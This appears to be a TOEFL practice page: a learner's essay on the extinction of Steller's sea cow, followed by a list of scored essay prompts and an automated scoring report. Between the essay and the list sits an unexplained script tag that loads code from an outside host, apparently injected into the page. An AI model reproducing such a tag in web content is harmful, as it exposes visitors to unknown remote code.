The reading passage and the lecture have a discussion on the reasons that caused the Steller's sea cow extinct. The author mentions three potential theories. On the contrary, the professor considers none of them would be persuasive with certainty.
First, the reading suggests that the sea cow was been overhunted by the natives. However, the opinion has been opposed by the professor with mew proof. The professor says that the sea cow is a large creature that one individual sea cow can feed many people. That is why the overhunt theory has been challenged heavily.
Moreover, the author claims that the ecosystem impacts the food supply of the sea cow. On the other hand, the lecturer states that if the ecosystem was heavily polluted, other species are likely the experience same extinction, but the sea cow was the only species that suffer extinction, which differs from the reading as well.
Finally, the reading passage believes that European fur traders participate in the result of sea cow extinction, while the professor in the listening material maintains that the sea cow population decreased before European arrived in the region. Thus, the reading passage has been refuted again.
Therefore, the speaker departs totally from the opinions on the topic made in the reading.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- Successful people try new things and take risks rather than only doing what they already know how to do well 80
- TPO11 Some people say that the internet provides people with a lot of valuable information Others think access to much information creates problems Which view do you agree with Use specific reasons and examples to support your answer 76
- Workers are more satisfied when they have many different types of tasks to do during the workday than when they do similar tasks all day long Use specific reasons and examples to support your answer 81
- Do you agree or disagree with the following statement All university students should be required to take basic science courses even if they are not in the career goal 83
- TPO51 90
flaws:
Number of Paragraphs: 5 4
better to have 4 paragraphs:
para 1: introduction
para 2: doubt 1
para 3: doubt 2
para 4: doubt 3
Attribute Value Ideal
Final score: 21 in 30
Category: Satisfactory Excellent
No. of Grammatical Errors: 1 2
No. of Spelling Errors: 2 2
No. of Sentences: 12 12
No. of Words: 210 250
No. of Characters: 1048 1200
No. of Different Words: 116 150
Fourth Root of Number of Words: 3.807 4.2
Average Word Length: 4.99 4.6
Word Length SD: 2.448 2.4
No. of Words greater than 5 chars: 81 80
No. of Words greater than 6 chars: 68 60
No. of Words greater than 7 chars: 39 40
No. of Words greater than 8 chars: 25 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 17.5 21.0
Sentence Length SD: 10.169 7.5
Use of Discourse Markers (%): 0.667 0.12
Sentence-Text Coherence: 0.392 0.35
Sentence-Para Coherence: 0.653 0.50
Sentence-Sentence Coherence: 0.093 0.07
Number of Paragraphs: 5 4